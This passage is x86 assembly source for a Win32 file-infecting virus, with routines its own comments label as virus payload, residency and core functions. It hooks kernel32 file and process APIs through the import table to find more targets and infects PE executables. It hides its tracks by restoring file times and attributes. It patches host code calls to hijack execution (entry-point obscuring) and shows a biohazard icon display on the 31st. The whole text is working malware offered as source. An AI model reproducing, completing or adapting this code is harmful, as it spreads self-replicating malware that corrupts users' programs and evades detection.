- lea edi,[@SfcN+ebp] ; Load SfcIsFileProtected api
- push edi ; Can be in sfc.dll or in sfc_os.dll
- call [@GetModuleHandleA+ebp] ; so take care using GetProcAddress
- or eax,eax
- jnz LoadSfc@1
- push edi
- call [@LoadLibraryA+ebp] ; Load the library
- or eax,eax
- jz LoadSfc@2
- LoadSfc@1:
- lea esi,[@SfcIsFileProtectedN+ebp]
- push esi
- push eax
- call [@GetProcAddress+ebp] ; And get the api address
- LoadSfc@2: ; If SfcIsFileProtected=NULL then no Sfc present
- mov [@SfcIsFileProtected+ebp],eax
- ret
- LoadSfcLibrary endp
- ;#################################################################
- ;# Load New Library
- ;# In: edi->LibraryName esi->ApisCrc32Struct
- ;# Out: (eax not zero) Error: eax=00h
- ;#################################################################
- LoadNewLibrary proc
- push edi
- call [@GetModuleHandleA+ebp] ; Is the Lib in Memory?
- or eax,eax
- jnz LoadNew@1
- push edi ; Nop, try to load Lib
- call [@LoadLibraryA+ebp]
- or eax,eax ; Check if we have the Lib Base
- jz LoadNew@2
- LoadNew@1:
- call GetAllApiAddress ; And get the Apis we need!
- LoadNew@2:
- ret
- LoadNewLibrary endp
- ;#################################################################
- ;# Free New Library
- ;# In: edi->LibraryName
- ;# Out: (eax not zero) Error: eax=00h
- ;#################################################################
- FreeNewLibrary proc
- push edi
- call [@GetModuleHandleA+ebp] ; Get the Lib Base in Memory
- or eax,eax
- jz FreeNew@1 ; If error, skip
- push eax
- call [@FreeLibrary+ebp] ; And Free our memory space
- FreeNew@1:
- ret
- FreeNewLibrary endp
- ;#################################################################
- ;# Asciiz 2 Unicode
- ;# In: esi->FileNameAsciiz edi->Buffer
- ;# Out: edi->FileNameUnicode
- ;#################################################################
- Asciiz2Unicode proc
- push esi edi ; We need an Unicode parameter
- xor eax,eax ; so make a sting change
- Asciiz@1:
- lodsb ; Pass from byte to word char
- stosw
- or eax,eax
- jnz Asciiz@1
- pop edi esi ; Now we have finished
- ret
- Asciiz2Unicode endp
- ;#################################################################
- ;# Check Sum Mapped File
- ;# In: esi->@FileAddr ecx=@FileSize
- ;# Out: eax=CheckSumMappedFile Error: eax=00h
- ;#################################################################
- CheckSumMappedFile proc
- push esi ; Save some registers
- push ebx
- push ecx
- inc ecx
- shr ecx,01h ; Is a Revised version of CheckSumMappedFile API
- call PartialCheckSum ; Call to make the partial CheckSum
- add esi,[esi+3Ch]
- mov bx,ax ; We have to make some changes after and...
- xor edx,edx
- inc edx
- mov ecx,edx
- mov ax,[esi+58h] ; Get the actual file checksum
- cmp bx,ax
- adc ecx,-01h
- sub bx,cx
- sub bx,ax
- mov ax,[esi+5Ah]
- cmp bx,ax
- adc edx,-01h
- sub bx,dx
- sub bx,ax
- xor eax,eax
- mov ax,bx
- pop ecx
- add eax,ecx ; Here is the CRC File CheckSum in eax
- pop ebx ; Restore register and finish
- pop esi
- ret
- CheckSumMappedFile endp
- ;#################################################################
- ;# Partial Check Sum
- ;# In: esi->@FileAddr ecx=@FileSize
- ;# Out: eax=CheckSumMappedFile Error: eax=00h
- ;#################################################################
- PartialCheckSum proc
- push esi ; Save register
- xor eax,eax
- shl ecx,01h
- je PartialCheck@0
- test esi,02h
- je PartialCheck@1
- movzx edx,word ptr[esi] ; This is a version of the CheckSumMappedFile
- add eax,edx ; API... to make a CRC32 of Infected Files
- adc eax,00h
- add esi,02h
- sub ecx,02h
- PartialCheck@1:
- mov edx,ecx ; Only makes the partial Check Sum, used by
- and edx,07h ; other process that calculate the final
- sub ecx,edx ; Check Sum of Mapped File
- je PartialCheck@2
- test ecx,08h
- je PartialCheck@3
- add eax,[esi]
- adc eax,[esi+04h]
- adc eax,00h
- add esi,08h
- sub ecx,08h
- je PartialCheck@2
- PartialCheck@3: ; Iteration 3
- test ecx,10h
- je PartialCheck@4
- add eax,[esi]
- adc eax,[esi+04h]
- adc eax,[esi+08h]
- adc eax,[esi+0Ch]
- adc eax,00h
- add esi,10h
- sub ecx,10h
- je PartialCheck@2
- PartialCheck@4: ; Iteration 4
- test ecx,20h
- je PartialCheck@5
- add eax,[esi]
- adc eax,[esi+04h]
- adc eax,[esi+08h]
- adc eax,[esi+0Ch]
- adc eax,[esi+10h]
- adc eax,[esi+14h]
- adc eax,[esi+18h]
- adc eax,[esi+1Ch]
- adc eax,00h
- add esi,20h
- sub ecx,20h
- je PartialCheck@2
- PartialCheck@5: ; Iteration 5
- test ecx,40h
- je PartialCheck@6
- add eax,[esi]
- adc eax,[esi+04h]
- adc eax,[esi+08h]
- adc eax,[esi+0Ch]
- adc eax,[esi+10h]
- adc eax,[esi+14h]
- adc eax,[esi+18h]
- adc eax,[esi+1Ch]
- adc eax,[esi+20h]
- adc eax,[esi+24h]
- adc eax,[esi+28h]
- adc eax,[esi+2Ch]
- adc eax,[esi+30h]
- adc eax,[esi+34h]
- adc eax,[esi+38h]
- adc eax,[esi+3Ch]
- adc eax,00h
- add esi,40h
- sub ecx,40h
- je PartialCheck@2
- PartialCheck@6: ; Iteration 6
- add eax,[esi]
- adc eax,[esi+04h]
- adc eax,[esi+08h]
- adc eax,[esi+0Ch]
- adc eax,[esi+10h]
- adc eax,[esi+14h]
- adc eax,[esi+18h]
- adc eax,[esi+1Ch]
- adc eax,[esi+20h]
- adc eax,[esi+24h]
- adc eax,[esi+28h]
- adc eax,[esi+2Ch]
- adc eax,[esi+30h]
- adc eax,[esi+34h]
- adc eax,[esi+38h]
- adc eax,[esi+3Ch]
- adc eax,[esi+40h]
- adc eax,[esi+44h]
- adc eax,[esi+48h]
- adc eax,[esi+4Ch]
- adc eax,[esi+50h]
- adc eax,[esi+54h]
- adc eax,[esi+58h]
- adc eax,[esi+5Ch]
- adc eax,[esi+60h]
- adc eax,[esi+64h]
- adc eax,[esi+68h]
- adc eax,[esi+6Ch]
- adc eax,[esi+70h]
- adc eax,[esi+74h]
- adc eax,[esi+78h]
- adc eax,[esi+7Ch]
- adc eax,00h
- add esi,80h
- sub ecx,80h
- jne PartialCheck@6
- PartialCheck@2:
- test edx,edx
- je PartialCheck@0
- PartialCheck@7: ; Iteration 7
- movzx ecx,word ptr[esi]
- add eax,ecx
- adc eax,00h
- add esi,02h
- sub edx,02h
- jne PartialCheck@7
- PartialCheck@0:
- mov edx,eax
- shr edx,10h
- and eax,0000FFFFh
- add eax,edx
- mov edx,eax
- shr edx,10h
- add eax,edx ; Make a final logic and
- and eax,0000FFFFh ; Get the partial check sum
- pop esi ; Pop registers
- ret
- PartialCheckSum endp
- ;#################################################################
- ;# Get Delta
- ;# In: No Input
- ;# Out: ebp=DeltaOffset
- ;#################################################################
- GetDelta proc
- cld
- call GetDelta@1 ; Just a strange get delta function
- GetDelta@2:
- mov esi,esp ; Let's look in Stack the return address
- lodsd
- jmp GetDelta@3
- GetDelta@1:
- xor eax,eax
- jz GetDelta@2
- GetDelta@3:
- sub eax,offset GetDelta@2
- mov ebp,eax ; We have the delta offset in ebp
- add esp,04h
- ret
- GetDelta endp
- ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
- ;#################################################################
- ;# Virus Payload
- ;#################################################################
- ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
- ;#################################################################
- ;# Payload
- ;# In: No Input
- ;# Out: No Output
- ;#################################################################
- Payload proc
- lea eax,[@SystemTime+ebp]
- push eax ; Get the actual date
- call [@GetSystemTime+ebp]
- or eax,eax
- jz Pay@1
- cmp word ptr[@SystemTime.wDay+ebp],1Fh
- jnz Pay@1
- lea edi,[@User32N+ebp] ; If 31th let's rock!
- lea esi,[@User32+ebp] ; Loading some graphic apis
- call LoadNewLibrary
- or eax,eax
- jz Pay@1
- call RunPayload ; And launch the graphic payload
- lea edi,[@User32N+ebp]
- call FreeNewLibrary ; Be smart and free the library
- Pay@1:
- ret
- Payload endp
- ;#################################################################
- ;# Run Payload
- ;# In: No Input
- ;# Out: No Output
- ;#################################################################
- RunPayload proc
- xor ebx,ebx ; First get the resolution of screen
- push SM_CXSCREEN ; Get the X width
- call [@GetSystemMetrics+ebp]
- or eax,eax
- jz RunPay@1
- shr eax,01h ; We want the center coords
- mov [@Xcoord+ebp],eax ; Get the Y width
- push SM_CYSCREEN
- call [@GetSystemMetrics+ebp]
- or eax,eax
- jz RunPay@1
- shr eax,01h
- mov [@Ycoord+ebp],eax
- push ebx ; Handle of the Main Desktop window
- call [@GetDC+ebp]
- or eax,eax
- jz RunPay@1
- mov [@DeviceCtx+ebp],eax
- push IDI_WARNING
- push ebx
- call [@LoadIconA+ebp] ; Loading a Warning Icon
- or eax,eax
- jz RunPay@2
- mov [@HandleIcon+ebp],eax
- call DrawBioHazard ; Well... ready for paint!!!
- RunPay@2:
- mov eax,[@DeviceCtx+ebp]
- push eax ; Release the Main Desktop window
- push ebx
- call [@ReleaseDC+ebp]
- RunPay@1:
- ret
- RunPayload endp
- ;#################################################################
- ;# Draw Icon
- ;# In: esi=Xcoord edi=Ycoord
- ;# Out: (eax not zero) Error: eax=00h
- ;#################################################################
- DrawIcon proc
- push [@HandleIcon+ebp] ; Handle of warning Icon
- push edi ; Y coord
- push esi ; X coord
- push [@DeviceCtx+ebp] ; Device context (Main window)
- call [@DrawIcon+ebp] ; Draw an Icon
- ret
- DrawIcon endp
- ;#################################################################
- ;# Draw Bio Hazard
- ;# In: No Input
- ;# Out: No Output
- ;#################################################################
- DrawBioHazard proc
- push ebx
- mov esi,[@Xcoord+ebp] ; Save the center coords
- mov edi,[@Ycoord+ebp]
- mov ebx,0168h ; Start with 360º
- DrawBio@1:
- push esi edi
- mov [@Degrees+ebp],ebx
- fldpi
- fimul dword ptr[@Degrees+ebp]
- fidiv dword ptr[@Const+ebp]
- fcos
- fimul dword ptr[@Radius+ebp]
- frndint
- fistp dword ptr[@Result+ebp]
- add esi,[@Result+ebp] ; Get Radius * cos (Angle)
- fldpi
- fimul dword ptr[@Degrees+ebp]
- fidiv dword ptr[@Const+ebp]
- fsin
- fimul dword ptr[@Radius+ebp]
- frndint
- fistp dword ptr[@Result+ebp]
- sub edi,[@Result+ebp] ; Get Radius * sin (Angle)
- call DrawIcon ; And paint please
- sub edi,70h ; We want four circles...
- cmp ebx,3Ch ; painting at the same time
- jb DrawOk@1
- cmp ebx,78h
- ja DrawOk@1
- jmp DrawBio@2
- DrawOk@1:
- call DrawIcon ; Skip some parts and tachan!!!
- DrawBio@2:
- sub esi,61h ; We'll have a nice BioHazard picture
- add edi,0A8h
- cmp ebx,0B4h
- jb DrawOk@2
- cmp ebx,0F0h
- ja DrawOk@2
- jmp DrawBio@3
- DrawOk@2:
- call DrawIcon ; And again the same
- DrawBio@3:
- add esi,0C2h
- cmp ebx,012Ch
- jb DrawOk@3
- cmp ebx,0168h
- ja DrawOk@3
- jmp DrawBio@4
- DrawOk@3:
- call DrawIcon
- DrawBio@4:
- pop edi esi
- dec ebx ; Well, another degree less
- jnz DrawBio@1 ; Go on with the painting
- push MB_ICONHAND
- call [@MessageBeep+ebp] ; Just play a Beep sound... tic, tac
- pop ebx
- ret
- DrawBioHazard endp
- ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
- ;#################################################################
- ;# Virus Per-Process Residency
- ;#################################################################
- ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
- ;#################################################################
- ;# Set All Hooks
- ;# In: esi->ApisCrc32Struct edi->OffsetsHooksStruct
- ;# Out: (eax not zero) Error: eax=00h
- ;#################################################################
- SetAllHooks proc
- push edi esi
- mov ebx,[@ImageBase+ebp]
- mov esi,ebx ; Take the Base Addr of Process
- add esi,[ebx+3Ch] ; Go to the PE header
- add esi,80h ; And after... to the Import Table
- lodsd
- or eax,eax ; Check if we have Import Table
- jz SetAll@1
- add eax,ebx
- mov ecx,eax
- SetAll@2:
- mov esi,[ecx+0Ch] ; Looking for Kernel32 import module
- or esi,esi
- jz SetAll@1
- add esi,ebx
- lodsd
- or eax,20202020h ; Make LowCase the string
- cmp eax,'nrek'
- jnz SetAll@3
- lodsd
- or eax,20202020h
- cmp eax,'23le'
- jz SetAll@4 ; We've the correct module, great!
- SetAll@3:
- add ecx,14h ; Ups!... give me another one
- jmp SetAll@2
- SetAll@4:
- mov esi,[ecx+10h] ; Go to FirstChunkData
- or esi,esi ; If null go out
- jz SetAll@1
- add esi,ebx ; Set some register for a big double loop
- mov ecx,esi
- pop edi
- pop ebx
- SetAll@9:
- cmp byte ptr[edi],0EEh ; The last api to hook?
- jz SetAll@5 ; If last go out
- mov edx,[edi+04h] ; Load the api address
- SetAll@8:
- lodsd ; Load an address for Import Table
- or eax,eax ; If last go back
- jz SetAll@6
- cmp edx,eax ; It's equal? yep... fine
- jnz SetAll@8
- push ecx
- call [@GetCurrentProcess+ebp]
- xor ecx,ecx
- sub esi,04h ; Writing what we want in Import Table
- push ecx
- push 04h
- mov ecx,[ebx]
- add ecx,ebp
- mov [@Result+ebp],ecx ; Just set the hooker function
- mov ecx,esi
- lea esi,[@Result+ebp]
- push esi
- push ecx
- push eax
- call [@WriteProcessMemory+ebp]
- pop ecx
- SetAll@6:
- add edi,08h ; Go on with more Apis to hook
- add ebx,04h
- mov esi,ecx
- jmp SetAll@9
- SetAll@5:
- xor eax,eax ; Fine... we have no errors
- inc eax
- ret
- SetAll@1:
- xor eax,eax ; Ups... Sth gone wrong
- pop esi edi
- ret
- SetAllHooks endp
- ;#################################################################
- ;# Generic Hooks
- ;# In: No Input
- ;# Out: No Output
- ;#################################################################
- ;#################################################################
- ;# Hook for CreateFileA
- ;#################################################################
- HookCreateFileA proc
- pushad ; Save registes
- pushfd
- call GetDelta ; Get the correct Delta
- mov esi,[esp+28h]
- call HookNewPath ; Looking for a new path and Find Files
- mov eax,[@CreateFileA+ebp]
- lea edi,[@HookJumpA+ebp] ; Set the next jump to the hooked api
- stosd
- popfd ; Pop registers
- popad
- push 20202020h
- @HookJumpA equ $-4
- ret
- HookCreateFileA endp
- ;#################################################################
- ;# Hook for MoveFileA
- ;#################################################################
- HookMoveFileA proc
- pushad ; Save registes
- pushfd
- call GetDelta ; Get the correct Delta
- mov esi,[esp+28h]
- call HookNewPath ; Looking for a new path and Find Files
- mov eax,[@MoveFileA+ebp]
- lea edi,[@HookJumpB+ebp] ; Set the next jump to the hooked api
- stosd
- popfd ; Pop registers
- popad
- push 20202020h
- @HookJumpB equ $-4
- ret
- HookMoveFileA endp
- ;#################################################################
- ;# Hook for CopyFileA
- ;#################################################################
- HookCopyFileA proc
- pushad ; Save registes
- pushfd
- call GetDelta ; Get the correct Delta
- mov esi,[esp+28h]
- call HookNewPath ; Looking for a new path and Find Files
- mov eax,[@CopyFileA+ebp]
- lea edi,[@HookJumpC+ebp] ; Set the next jump to the hooked api
- stosd
- popfd ; Pop registers
- popad
- push 20202020h
- @HookJumpC equ $-4
- ret
- HookCopyFileA endp
- ;#################################################################
- ;# Hook for CreateProcessA
- ;#################################################################
- HookCreateProcessA proc
- pushad ; Save registes
- pushfd
- call GetDelta ; Get the correct Delta
- mov esi,[esp+28h]
- call HookNewPath ; Looking for a new path and Find Files
- mov eax,[@CreateProcessA+ebp]
- lea edi,[@HookJumpD+ebp] ; Set the next jump to the hooked api
- stosd
- popfd ; Pop registers
- popad
- push 20202020h
- @HookJumpD equ $-4
- ret
- HookCreateProcessA endp
- ;#################################################################
- ;# Hook for SetFileAttributesA
- ;#################################################################
- HookSetFileAttributesA proc
- pushad ; Save registes
- pushfd
- call GetDelta ; Get the correct Delta
- mov esi,[esp+28h]
- call HookNewPath ; Looking for a new path and Find Files
- mov eax,[@SetFileAttributesA+ebp]
- lea edi,[@HookJumpE+ebp] ; Set the next jump to the hooked api
- stosd
- popfd ; Pop registers
- popad
- push 20202020h
- @HookJumpE equ $-4
- ret
- HookSetFileAttributesA endp
- ;#################################################################
- ;# Hook for GetFileAttributesA
- ;#################################################################
- HookGetFileAttributesA proc
- pushad ; Save registes
- pushfd
- call GetDelta ; Get the correct Delta
- mov esi,[esp+28h]
- call HookNewPath ; Looking for a new path and Find Files
- mov eax,[@GetFileAttributesA+ebp]
- lea edi,[@HookJumpF+ebp] ; Set the next jump to the hooked api
- stosd
- popfd ; Pop registers
- popad
- push 20202020h
- @HookJumpF equ $-4
- ret
- HookGetFileAttributesA endp
- ;#################################################################
- ;# Hook for SearchPathA
- ;#################################################################
- HookSearchPathA proc
- pushad ; Save registes
- pushfd
- call GetDelta ; Get the correct Delta
- mov esi,[esp+28h]
- call HookNewPath ; Looking for a new path and Find Files
- mov eax,[@SearchPathA+ebp]
- lea edi,[@HookJumpG+ebp] ; Set the next jump to the hooked api
- stosd
- popfd ; Pop registers
- popad
- push 20202020h
- @HookJumpG equ $-4
- ret
- HookSearchPathA endp
- ;#################################################################
- ;# Hook New Path
- ;# In: esi->StringWithPath
- ;# Out: (eax not zero) Error: eax=00h
- ;#################################################################
- HookNewPath proc
- call GetPath ; Just give a new path
- or eax,eax ; If not correct path... skip it
- jz HookNew@1
- lea esi,[@PathOne+ebp]
- push esi ; Get the actual Dir
- push MAX_PATH
- call [@GetCurrentDirectoryA+ebp]
- or eax,eax
- jz HookNew@1
- lea esi,[@PathTwo+ebp] ; Change to the new path
- push esi
- call [@SetCurrentDirectoryA+ebp]
- or eax,eax
- jz HookNew@1
- call LoadSfcLibrary ; Check if Sfc is present and load it
- mov edi,05h
- call FindDirectory ; And find more new files
- mov eax,[@SfcIsFileProtected+ebp]
- or eax,eax
- jz HookNew@2
- lea edi,[@SfcN+ebp] ; Free the Sfc library
- call FreeNewLibrary
- HookNew@2:
- lea esi,[@PathOne+ebp] ; Well, time to come back to the old dir
- push esi
- call [@SetCurrentDirectoryA+ebp]
- HookNew@1:
- ret
- HookNewPath endp
- ;#################################################################
- ;# Get Path
- ;# In: esi->StringWithPath
- ;# Out: (eax not zero) Error: eax=00h
- ;#################################################################
- GetPath proc
- or esi,esi ; Check the null pointer
- jz GetPath@2
- mov edi,esi ; Get the String long
- call GetStringLong
- mov ecx,eax
- lea edi,[@PathTwo+ebp]
- push eax ; Set some registers and copy
- push edi ; the new path string to a buffer
- cld
- rep movsb
- pop edi
- pop ecx
- add edi,ecx
- GetPath@1:
- dec edi ; Looking for a \ in String
- dec eax
- jz GetPath@2
- cmp byte ptr[edi],'\'
- jnz GetPath@1
- mov ax,'\' ; If found patch it with final zero
- stosw
- ret ; Finish without error
- GetPath@2:
- xor eax,eax ; Oh... :( an error
- ret
- GetPath endp
- ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
- ;#################################################################
- ;# Virus Core Functions
- ;#################################################################
- ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
- ;#################################################################
- ;# Create Clean Copy
- ;# In: No Input
- ;# Out: (eax not zero) Error: eax=00h
- ;#################################################################
- CreateCleanCopy proc
- push edi esi edx ; Save register
- push @VirusBodySize
- push GPTR
- call [@GlobalAlloc+ebp] ; Get some memory free space
- or eax,eax
- jz CreateClean@1
- mov [@VirusBuffer+ebp],eax
- mov edi,eax
- lea esi,[@VirusBodyBegin+ebp]
- mov ecx,@VirusBodySize
- cld
- rep movsb ; Move our virus body to memory reserved
- xor eax,eax
- inc eax
- CreateClean@1:
- pop edx esi edi ; If not memory skip it now!
- ret
- CreateCleanCopy endp
- ;#################################################################
- ;# Delete Clean Copy
- ;# In: No Input
- ;# Out: (eax zero) Error: eax not zero
- ;#################################################################
- DeleteCleanCopy proc
- push [@VirusBuffer+ebp] ; Just free the allocated memory
- call [@GlobalFree+ebp]
- ret
- DeleteCleanCopy endp
- ;#################################################################
- ;# Infect File
- ;# In: @FindData @FileHandle
- ;# Out: eax=01h Error: eax=00h
- ;#################################################################
- InfectFile proc
- push ebx edi
- mov eax,[@FindData.WFD_nFileSizeLow+ebp]
- add eax,@VirusSize
- mov ecx,[@AlignFactor+ebp]
- call Align ; Get the new host size
- mov ecx,75h
- call Align ; And add a size padding
- mov [@NewHostSize+ebp],eax ; Save the final aligned size
- mov edi,eax
- mov eax,[@OpenHandle+ebp]
- xor esi,esi
- call FileMapping ; Make a map of file
- or eax,eax
- jz Infect@1
- mov [@MapHandle+ebp],eax
- call MapViewOfFile ; And map it into memory
- or eax,eax
- jz Infect@2
- mov [@FileAddr+ebp],eax
- call DoInfectStuff ; Time to infect file
- or eax,eax
- jz Infect@3 ; If error, trunc file and go out
- mov eax,[@FileAddr+ebp]
- call UnmapViewOfFile ; Unmap file from memory
- mov eax,[@MapHandle+ebp]
- call CloseHandle ; Close map
- mov ebx,[@NewHostSize+ebp]
- call TruncFile ; Trunc file to the new size
- lea eax,[@FindData.WFD_ftLastWriteTime+ebp]
- push eax
- sub eax,08h ; Recover the old file time
- push eax
- sub eax,08h
- push eax
- push [@OpenHandle+ebp]
- call [@SetFileTime+ebp]
- mov eax,[@OpenHandle+ebp] ; Close file
- call CloseHandle
- mov eax,[@FindData.WFD_dwFileAttributes+ebp]
- push eax ; Recover the old file attributes
- lea esi,[@FindData.WFD_szFileName+ebp]
- push esi
- call [@SetFileAttributesA+ebp]
- xor eax,eax
- inc eax ; Fine! we have infected one file
- pop edi ebx
- ret
- Infect@3:
- mov eax,[@FileAddr+ebp] ; Ups! error... be smart and unmap file
- call UnmapViewOfFile
- Infect@2:
- mov eax,[@MapHandle+ebp] ; Close map of file
- call CloseHandle
- mov ebx,[@NewHostSize+ebp]
- call TruncFile ; Trunc file to the old file size
- Infect@1:
- lea eax,[@FindData.WFD_ftLastWriteTime+ebp]
- push eax
- sub eax,08h
- push eax ; Set file time
- sub eax,08h
- push eax
- push [@OpenHandle+ebp]
- call [@SetFileTime+ebp]
- mov eax,[@OpenHandle+ebp] ; Close file handle
- call CloseHandle
- mov eax,[@FindData.WFD_dwFileAttributes+ebp]
- push eax ; Recover the old file attributes
- lea esi,[@FindData.WFD_szFileName+ebp]
- push esi
- call [@SetFileAttributesA+ebp]
- xor eax,eax ; Error... try again
- pop edi ebx
- ret
- InfectFile endp
- ;#################################################################
- ;# Patch Virus Entry Point
- ;# In: No Input
- ;# Out: No Output
- ;#################################################################
- PatchVirusEntryPoint proc
- lea edi,[@ReturnHost+ebp] ; Let's change virus entry point
- mov eax,[@DefaultVirusBegin+ebp]
- stosd
- mov edi,eax
- mov ebx,[@CallType+ebp]
- or ebx,ebx
- jz PatchVirus@1
- mov eax,0FFh ; If masm call insert "inc [esp]"
- stosb
- mov eax,2404h
- stosw
- PatchVirus@1:
- mov eax,25FFh ; Insert jmp [@offset api]
- stosw
- mov eax,[@EpoCall+ebp]
- stosd
- ret
- PatchVirusEntryPoint endp
- ;#################################################################
- ;# Do Epo Stuff
- ;# In: ebx=@FileAddr
- ;# Out: eax=01h Error: eax=00h
- ;#################################################################
- DoEpoStuff proc
- pushad
- call SetEpoSeh
- mov esp,[esp+08h]
- jmp ResetEpoSeh ; Set Seh in Epo process
- SetEpoSeh: ; cos we need handle page faults
- xor eax,eax
- push dword ptr fs:[eax]
- mov fs:[eax],esp
- mov esi,[ebx+3Ch]
- mov edi,ebx ; Save the FileAddr in ebx
- add edi,esi
- mov esi,edi
- add esi,78h ; Go to the image section headers
- mov eax,[edi+74h]
- shl eax,03h
- add esi,eax
- movzx ecx,word ptr[edi+06h] ; Take the number of sections
- mov edx,[edi+28h] ; Take the entry point of host
- DoEpo@1:
- mov eax,[esi+0Ch]
- cmp edx,eax
- jc DoEpo@2
- add eax,[esi+08h] ; Iteratate till we have the code
- cmp edx,eax ; section (using the entry point)
- jc DoEpo@3
- DoEpo@2:
- add esi,28h ; Try with other section
- loop DoEpo@1
- jmp ResetEpoSeh ; No code section... ups! go out
- DoEpo@3:
- sub edx,[esi+0Ch]
- mov ecx,[esi+10h]
- sub ecx,edx ; Set in ecx a counter of bytes
- jc ResetEpoSeh
- add edx,[esi+14h]
- add edx,ebx ; Make edx point to the code section
- push esi
- mov esi,edx
- xor eax,eax
- mov [@PatchOffset+ebp],eax ; Make offset zero at start
- DoEpo@4:
- lodsw
- cmp ax,15FFh ; Is a Masm generated call?
- jz CheckMasm
- cmp al,0E8h ; Is a Tasm generated call?
- jz CheckTasm
- dec esi
- loop DoEpo@4 ; Go on and check it all till the end
- jmp DoEpoError@1 ; No calls found...error
- CheckMasm:
- lodsd ; Take the offset next to call
- call IsImportTable ; and check if points to the Imports
- or eax,eax
- jnz PatchMasm ; Great!... patch it now
- sub esi,05h
- jmp DoEpo@4 ; Nop, go on
- CheckTasm:
- dec esi
- lodsd ; Take the relative next to call
- push esi
- add esi,eax
- call IsCodeSection ; Is in code section?
- or eax,eax
- jz CheckTasmError
- lodsw
- cmp ax,25FFh ; Is a jump?
- jz PatchTasm ; Fine!... go and patch it
- CheckTasmError:
- pop esi
- sub esi,04h
- jmp DoEpo@4 ; Nop, try again
- PatchMasm:
- mov [@OldEpoCall+ebp],eax ; Save the offset of call
- sub esi,06h
- mov [@PatchOffset+ebp],esi
- xor eax,eax
- inc eax
- mov [@OldCallType+ebp],eax
- call GetRandom
- test eax,01h ; Get a random number and
- jz MakePatch ; randomize the patch offset
- inc esi
- jmp DoEpo@4
- PatchTasm:
- lodsd
- mov [@OldEpoCall+ebp],eax ; Save the offset of call
- pop esi
- sub esi,05h
- mov [@PatchOffset+ebp],esi
- xor eax,eax
- mov [@OldCallType+ebp],eax
- call GetRandom ; Get a random number and
- test eax,01h ; randomize the patch offset
- jz MakePatch
- inc esi
- jmp DoEpo@4
- MakePatch:
- call PatchCodeSection ; Patch the instruction with a call to virus
- pop esi
- xor eax,eax
- pop dword ptr fs:[eax] ; Reset the Epo Seh
- pop eax
- popad
- xor eax,eax
- inc eax
- ret ; Bye!!!
- DoEpoError@1:
- mov esi,[@PatchOffset+ebp] ; Check if we have found an offset
- or esi,esi
- jnz MakePatch ; Yep... go and patch it!
- pop esi ; Ups... error, pop registers and skip
- ResetEpoSeh:
- xor eax,eax
- pop dword ptr fs:[eax] ; Reset the Epo Seh... we made a page fault
- pop eax
- popad
- xor eax,eax
- ret
- DoEpoStuff endp
- ;#################################################################
- ;# Is Code Section
- ;# In: esi->File Section
- ;# Out: eax=01h Error: eax=00h
- ;#################################################################
- IsCodeSection proc
- push edi ecx
- mov edi,[esp+10h] ; Look in stack for section pointer
- mov ecx,[edi+14h]
- add ecx,ebx
- cmp esi,ecx ; Check if esi is inside code section
- jc IsCode@1
- add ecx,[edi+10h]
- cmp esi,ecx
- jnc IsCode@1
- xor eax,eax ; Ok, no problem... go on
- inc eax
- pop ecx edi
- ret
- IsCode@1:
- xor eax,eax ; Agh... try again
- pop ecx edi
- ret
- IsCodeSection endp
- ;#################################################################
- ;# Is Import Table
- ;# In: eax=offset in File
- ;# Out: (eax not zero) Error: eax=00h
- ;#################################################################
- IsImportTable proc
- pushad ; Save registers
- mov edi,ebx
- mov edx,eax
- add edi,[ebx+3Ch] ; Go to PE header
- mov esi,edi
- add esi,78h
- mov eax,[edi+74h]
- shl eax,03h
- add esi,eax ; Go to the section headers
- movzx ecx,word ptr[edi+06h]
- sub edx,[edi+34h] ; Make rva address
- push edx
- mov edx,[edi+80h] ; Get the imports rva
- or edx,edx
- jz IsImport@4
- IsImport@1:
- mov eax,[esi+0Ch] ; Loop till get the import section
- cmp edx,eax
- jc IsImport@2
- add eax,[esi+08h]
- cmp edx,eax
- jc IsImport@3
- IsImport@2:
- add esi,28h ; Try with other section header
- loop IsImport@1
- jmp IsImport@4 ; No more sections? ups...
- IsImport@3:
- pop edx
- cmp edx,eax ; Look if our rva points inside
- jnc IsImport@5 ; the import section
- sub eax,[esi+08h]
- cmp edx,eax
- jc IsImport@5
- sub edx,[esi+0Ch]
- add edx,[esi+14h] ; Make rva->raw to import section
- add edx,ebx
- mov ecx,[edx]
- mov eax,[esi+0Ch] ; Check that the new rva points inside imports
- cmp ecx,eax
- jc IsImport@6
- add eax,[esi+08h]
- cmp ecx,eax
- jc IsImport@7
- IsImport@6:
- mov eax,[@KernelBase+ebp]
- cmp ecx,eax ; Check if points inside the kernel
- jc IsImport@5
- mov edx,[eax+3Ch]
- add edx,eax
- add eax,[edx+50h]
- cmp ecx,eax
- jnc IsImport@5
- IsImport@7:
- popad ; Yep! we got it
- ret
- IsImport@4:
- pop edx
- IsImport@5:
- popad
- xor eax,eax ; Sth gone wrong... bad luck
- ret
- IsImportTable endp
- ;#################################################################
- ;# Check Kernel Imports
- ;# In: edi->PEHeader ebx->@FileAddr
- ;# Out: eax=01h Error: eax=00h
- ;#################################################################
- CheckKernelImports proc
- mov esi,edi ; Go to the sections header
- mov eax,[edi+74h]
- shl eax,03h
- add esi,78h
- add esi,eax
- movzx ecx,word ptr[edi+06h] ; Take the number of sections
- mov edx,[edi+80h] ; Look for import section (with rva)
- or edx,edx
- jz CheckKernel@1
- CheckKernel@2:
- mov eax,[esi+0Ch]
- cmp edx,eax
- jc CheckKernel@3 ; Go on, and try with the next section
- add eax,[esi+08h]
- cmp edx,eax
- jc CheckKernel@4 ; Is the Import section, go on
- CheckKernel@3:
- add esi,28h ; Try with the next one
- loop CheckKernel@2
- jmp CheckKernel@1 ; No more sections... error
- CheckKernel@4:
- sub edx,[esi+0Ch]
- add edx,[esi+14h]
- add edx,ebx ; Make rva->raw of import section
- CheckKernel@5:
- mov eax,[edx+0Ch] ; Take the rva of import api name
- or eax,eax ; Is the last one... agh!
- jz CheckKernel@1
- mov ecx,[esi+0Ch]
- cmp eax,ecx
